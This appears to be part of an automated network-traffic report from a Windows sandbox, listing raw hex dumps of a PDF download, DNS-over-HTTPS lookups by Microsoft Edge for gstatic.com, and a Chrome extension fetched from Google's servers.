Ascii: %PDF-1.7%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 25 0 R/MarkInfo<</Marked true>>/Metadata 85 0 R/ViewerPreferences 86 0 R>>endobj2 0 obj<</Type/Pages/Count 2/Kids[ 3 0 R 20 0 R] >>endobj3 0 obj<</Type/Page/Parent
2024-12-16 15:14:28 UTC	16384	IN	Data Raw: 45 18 32 c4 60 66 ce 30 54 e4 7e 84 fe 55 d0 7c 1f d4 fe d7 e1 27 b3 63 96 b3 9d 95 46 7f 85 be 61 fa 96 ad 4f 89 9a 48 d5 bc 1d 38 05 44 90 3a ca ac c7 00 73 82 49 f4 c1 27 f0 ae 3f e1 8d 9d f6 87 ae 5f a9 86 69 74 f9 63 da 24 44 24 31 07 28 c3 d8 a9 3c d6 56 71 af 7e 8c f4 95 48 57 ca 7d 9b 7e f4 1e 9f d7 a3 3d 83 b5 79 07 c5 7b 59 34 bf 13 68 de 23 81 4e 63 c0 72 3d 51 83 0f cc 13 f9 57 af a9 dc a0 e0 8c 8e 86 b8 af 8a 5a 57 f6 8f 82 ae 24 45 06 5b 47 59 d7 3e 83 83 fa 12 7f 0a da ba bd 36 79 b9 65 55 4f 15 1b ec f4 7f 3d 0e c6 da 74 b9 b6 8e 78 ce 63 91 43 a9 f5 04 64 54 b5 c9 fc 38 d5 46 ab e0 9b 17 e0 3c 00 db b2 8e db 38 03 fe f9 db 5d 65 5c 65 cd 14 ce 5a f4 dd 2a 92 a6 fa 3b 05 14 51 54 64 14 51 45 00 14 76 aa 5a ad c4 f6 9a 55 d5 c5 b2 07 9a 28 Data Ascii: E2`f0T~U\|'cFaOH8D:sI'?_itc$D$1(<Vq~HW}~=y{Y4h#Ncr=QWZW$E[GY>6yeUO=txcCdT8F<8]e\eZ*;QTdQEvZU(
2024-12-16 15:14:28 UTC	668	IN	Data Raw: 14 67 8c 12 4e 96 75 65 7a 7a 49 71 f1 f0 59 4d bd bf 63 83 af ca f1 16 8f 1d 3e e8 96 de d7 e5 4d 7f 3a f4 19 da 18 37 c9 58 78 ad 31 71 1d 03 17 8d 32 c9 ae c6 ca ae 86 4c cf 98 5e 33 bd 6f 52 62 65 2f 1f d3 89 b8 d4 d4 0c a3 ec a2 37 26 36 d6 b8 42 74 98 6b ef 97 73 ef 24 fa 30 d5 52 d9 5c f1 1e 95 4c 91 fd 60 ab d1 05 6b 37 79 75 d2 fd 8c 17 e0 7c d2 85 ee 6e 1f 95 3a 32 37 77 ac e6 e2 e0 ef b8 e1 55 be eb d6 88 57 b5 bd 93 f8 3a f5 16 4a a2 6a cd 2b e7 b6 84 07 13 f8 f7 62 6f 4c e0 31 77 1a 13 e8 4e 96 84 1b 53 8c 71 77 5c 66 8d 8e e9 3a fa d5 5e 26 5d 98 7f f2 ac c7 63 f1 c8 19 75 72 38 6e 62 6c be b5 9b 25 c1 1e 73 48 86 2e 39 7b 50 36 2f b4 50 51 b2 4e c7 93 fb a5 0e e4 7c dd 1d cd 5b ee 61 05 a7 bf b3 7d aa 23 63 d2 d5 bd 2d ae c9 0b 6f 65 9d bf Data Ascii: gNuezzIqYMc>M:7Xx1q2L^3oRbe/7&6Btks$0R\L`k7yu\|n:27wUW:Jj+boL1wNSqw\f:^&]cur8nbl%sH.9{P6/PQN\|[a}#c-oe
2024-12-16 15:14:28 UTC	16384	IN	Data Raw: 51 18 94 6c 67 a6 be 6f af d1 66 af 6e e5 a2 55 46 bd de e4 4a ec 37 bc b8 7a 54 d9 a2 cd bd 7b 72 32 37 d7 24 99 8d fd 8c c5 23 86 57 b5 d5 2f ea 92 e3 73 2b f6 d0 16 bc 11 4c 34 56 f3 bb 3f 96 83 49 78 8d de e2 42 a3 b7 a4 b0 de c8 76 18 f7 19 b9 71 43 ac dc 13 2c a7 57 61 d1 48 df b0 6b 07 49 a7 b9 22 43 74 e1 5e 47 79 5e 6d 8b 7b 52 a3 c3 f2 bc 72 57 9b 14 7e 5f 3c a6 2e 26 0b 65 d1 ef 64 4b c1 06 83 3d c4 74 41 55 4d 96 cc 6c ce 08 b1 78 6f a2 31 83 b2 bd d9 dc 9b ed cf de 99 7d 3c 5b c9 4e 90 e2 b8 7a bc fc d6 d3 66 bc d4 54 4a 77 1d 64 03 19 de 11 91 58 61 51 cf 5f 75 7a ca c9 be e9 5b 7e a5 77 32 cb 72 66 65 66 71 1d 67 82 71 9d de d5 df 3a c0 3a d0 2a 74 49 d9 f1 2e 53 76 5a 7a 6a 3a d7 39 94 84 46 b2 e9 32 1a 59 bf 38 a4 52 62 91 ca 62 f6 46 66 Data Ascii: QlgofnUFJ7zT{r27$#W/s+L4V?IxBvqC,WaHkI"Ct^Gy^m{RrW~_<.&edK=tAUMlxo1}<[NzfTJwdXaQ_uz[~w2rfefqgq::*tI.SvZzj:9F2Y8RbbFf
2024-12-16 15:14:28 UTC	16175	IN	Data Raw: f7 8f f9 69 ff f7 e9 5f 52 2c 56 ca d5 54 17 fe c8 c2 72 fe b5 68 6d 6b ab 7d f5 0f 98 02 f6 af 11 5c 56 a9 d5 4c 41 8f ca 05 b4 ab 70 a0 70 b0 c0 14 7c e0 cf 0b 12 a8 52 a1 5c cd 31 63 03 68 00 ae cd 8a b5 1c 37 7e 32 21 bb 49 e3 77 84 b7 1a 00 92 c5 62 c5 0a 38 a0 46 d3 28 4d 64 b7 29 50 3a 90 46 6b d2 c3 e9 c9 f4 c9 b4 29 6d 83 3d d3 f3 bc 32 6e fc bb ee 04 43 93 be 41 d9 5a d8 aa 6f 3d 84 ef b9 79 2b 1c 1a 12 a5 d2 56 db 81 fb 97 a1 65 84 f1 5a 56 54 bc c8 ee 1d f6 fe 1c 3b 97 fa dc 7f e8 0e 92 e3 22 01 10 f1 92 df e8 ad d3 df d7 5d 0f d6 50 ad 58 60 fa 19 ba 9f 41 14 23 c3 82 74 f8 56 fa c3 25 52 e3 b3 32 f0 f5 00 df a1 f1 14 5c 23 73 f5 96 ad cf a0 1b a9 18 b2 1c d9 0f c3 43 c6 e4 a2 d1 e9 d1 19 d2 98 d6 46 4f cb da c8 fb 64 43 33 26 0e 8f c8 a7 31 Data Ascii: i_R,VTrhmk}\VLApp\|R\1ch7~2!Iwb8F(Md)P:Fk)m=2nCAZo=y+VeZVT;"]PX`A#tV%R2\#sCFOdC3&1
2024-12-16 15:14:28 UTC	16384	IN	Data Raw: 8c 30 8c 6c b2 2f 9b 1b 91 7d 56 0d 41 5c fa 9a 4e 27 d5 46 05 66 7c 65 05 c7 91 ae 5f 71 f9 97 1a 1c e2 b0 81 1d 6a 0a 1b 64 50 71 8c 38 f0 bd 32 a8 37 1a 58 20 18 04 21 18 b4 f7 2d 2e 9e d2 67 3b 03 29 ca ac 4a 81 54 30 00 e0 d7 6d 94 72 8d c6 ba 2a a8 e6 20 9c be e3 96 a2 68 7d 96 46 01 a2 07 d1 0b 12 8e 2e c0 78 b1 bd fa 09 8c 1a 91 d9 9e 43 0b db 42 f4 00 21 43 2c 18 62 27 af 41 9d d5 10 3a 6e 8b 76 49 5f b8 dc 10 46 aa 1e 21 7e 2f ea ad ae 00 c3 f5 8d 8c 89 2b ef de 98 17 aa 63 ab 57 85 6b 77 d5 58 c1 e7 b6 08 a4 4f 1e 98 39 36 b1 eb b5 93 6b a7 4e bc be 7f 62 77 98 e5 ed 94 56 43 d3 56 8d 80 3f ee 48 a4 52 2e 2e c9 db 1a b7 3d bb 7f eb c9 dd fd 11 6b ac c0 44 63 29 8f d3 56 1b 1a ae 89 63 0f 9e 3d 78 f3 0f 4f 4d 85 ac 94 49 8f 6b ac 41 1f 92 52 2f Data Ascii: 0l/}VA\N'Ff\|e_qjdPq827X !-.g;)JT0mr* h}F.xCB!C,b'A:nvI_F!~/+cWkwXO96kNbwVCV?HR..=kDc)Vc=xOMIkAR/
2024-12-16 15:14:28 UTC	16384	IN	Data Raw: 0d 0a 65 6e 64 6f 62 6a 0d 0a 38 34 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 4c 65 6e 67 74 68 20 31 39 32 37 32 2f 4c 65 6e 67 74 68 31 20 38 33 31 36 34 3e 3e 0d 0a 73 74 72 65 61 6d 0d 0a 78 9c ec 7d 07 5c 94 57 ba fe 39 df 37 8d 29 cc 0c 32 b4 01 66 c6 01 44 47 c0 82 0a 6a 64 94 62 ef 8e 01 6c 20 a0 68 50 51 b1 c4 a8 21 31 d1 84 68 7a af a6 9a 8d 29 c3 68 22 9a 66 b2 a6 6c 8a e9 65 93 4d 71 37 9b 4d 36 31 6d 37 cd 28 dc e7 7c ef 1c db 6e f2 df dd bb 77 73 73 ff f3 c2 33 cf 73 de 53 be 53 df ef f0 13 7e 32 ce 18 73 e0 43 c7 6a ca 47 94 4d 2b e8 65 bf 8b 71 ef 77 8c f1 27 cb 47 8c 2b bd b6 b1 c2 c6 78 e6 d3 8c 29 7d 26 4e 2d e8 77 c3 63 75 f7 23 ef 3c d4 aa a9 5b 54 db dc fc 4a 9a 91 b1 a6 32 c6 d4 cc ba Data Ascii: endobj84 0 obj<</Filter/FlateDecode/Length 19272/Length1 83164>>streamx}\W97)2fDGjdbl hPQ!1hz)h"fleMq7M61m7(\|nwss3sSS~2sCjGM+eqw'G+x)}&N-wcu#<[TJ2
2024-12-16 15:14:28 UTC	209	IN	Data Raw: 1c be d1 74 de ac bc 43 e2 62 17 39 59 ec 42 c3 e6 9f 84 b0 fd 9b d3 f5 27 b7 fa 26 27 88 92 a2 f5 28 ed b0 81 6c c5 17 db 9a 1e 51 40 92 ea 9a 8d d8 9e 34 ed 75 21 fd ab 07 0a c4 9e 02 c2 c3 c7 71 7d 66 d0 16 72 7a 70 e0 86 79 7d e8 d1 e5 95 ef 0a 37 7e cb cf 1b 3a c1 a3 61 d1 37 43 96 90 e1 26 c3 6d c5 6d c8 a0 92 ba 85 4e 1f 3e f2 5e dc b0 d0 dd f0 4b bb fc 0f e6 74 ad 15 48 50 cc e5 ac 75 79 34 e4 ae 1b ff cd e1 b0 53 45 4b ea ec 7e b7 f3 d9 92 19 d3 53 97 46 cf eb b7 ef d1 90 c8 11 a2 ce 8b ee 39 e5 df 38 b9 21 55 16 3a f4 e1 a0 e3 01 61 03 2f 77 79 ca 8b b7 f3 7a 67 19 df c0 c2 b7 ac d1 80 41 4f 77 e4 f5 cc 10 47 Data Ascii: tCb9YB'&'(lQ@4u!q}frzpy}7~:a7C&mmN>^KtHPuy4SEK~SF98!U:a/wyzgAOwG
2024-12-16 15:14:28 UTC	8544	IN	Data Raw: 1d 4b 08 48 1c 19 42 6c 58 e3 d4 c8 32 a0 b4 fc cb 65 7b 3a 6f eb eb 54 26 bf d8 7a eb 67 67 eb 34 2d 5b e9 5b 35 62 d4 8d 76 e5 bd a2 12 5a f7 fd ce 67 e4 cf 6f 3b 6f 38 32 89 27 5c b4 6a e6 2f 61 da 81 7d 3c 9e 76 d9 ea d5 e2 cd e0 fc 4b d1 1b 84 e1 75 ee 26 8c 9f a0 71 1e b3 fe cc 45 e5 5a e1 05 c1 98 b0 77 b7 d3 56 ae 39 b7 78 a2 f5 51 ff e3 d7 fc 44 1d 16 0e b2 4f 7c b3 f3 85 de f9 4b f1 b9 21 5d 0f 2e 90 5d 59 39 e4 a8 5b 16 e7 89 a7 62 77 95 6d d9 88 3e 5b 4f da 46 ba f6 9b 32 ee 6a b6 57 72 ee b1 79 0d 1b f4 ef f7 8d ac cc e1 d9 77 69 97 0e ec 55 e7 df bc b8 2d db e3 f9 e2 62 a7 c7 64 b1 d3 23 a3 79 f9 7c ae b8 d8 e9 1a b4 5d ae 71 36 75 3a 06 4d 87 79 5c fe 87 67 d3 62 6e aa a5 8d c1 9d 8e 70 3c 2d e6 86 83 6d bb 42 47 47 88 67 96 f4 a8 0c 6b 3e Data Ascii: KHBlX2e{:oT&zgg4-[[5bvZgo;o82'\j/a}<vKu&qEZwV9xQDO\|K!].]Y9[bwm>[OF2jWrywiU-bd#y\|]q6u:My\gbnp<-mBGGgk>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49760	162.159.61.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-16 15:14:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-16 15:14:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 16 Dec 2024 15:14:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f2f9f8dad7e41e3-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 15:14:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fb 28 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49761	172.64.41.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-16 15:14:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-16 15:14:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 16 Dec 2024 15:14:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f2f9f8da93d7c8d-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 15:14:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49763	162.159.61.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-16 15:14:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-16 15:14:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 16 Dec 2024 15:14:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f2f9f8ffade0f9d-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 15:14:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 dd 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49759	172.217.19.225	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:28 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-16 15:14:29 UTC	563	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC63VOvQiPFpJWwc9IcQDmFYDJbx2ZYKPk_7CoPD8sbhxpQYBVt93n1xgAFt1IxysaIT X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Sun, 15 Dec 2024 15:58:14 GMT Expires: Mon, 15 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 83774 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 15:14:29 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-16 15:14:29 UTC	1390	IN	Data Raw: d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2024-12-16 15:14:29 UTC	1390	IN	Data Raw: fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2024-12-16 15:14:29 UTC	1390	IN	Data Raw: ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGW
2024-12-16 15:14:29 UTC	1390	IN	Data Raw: fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
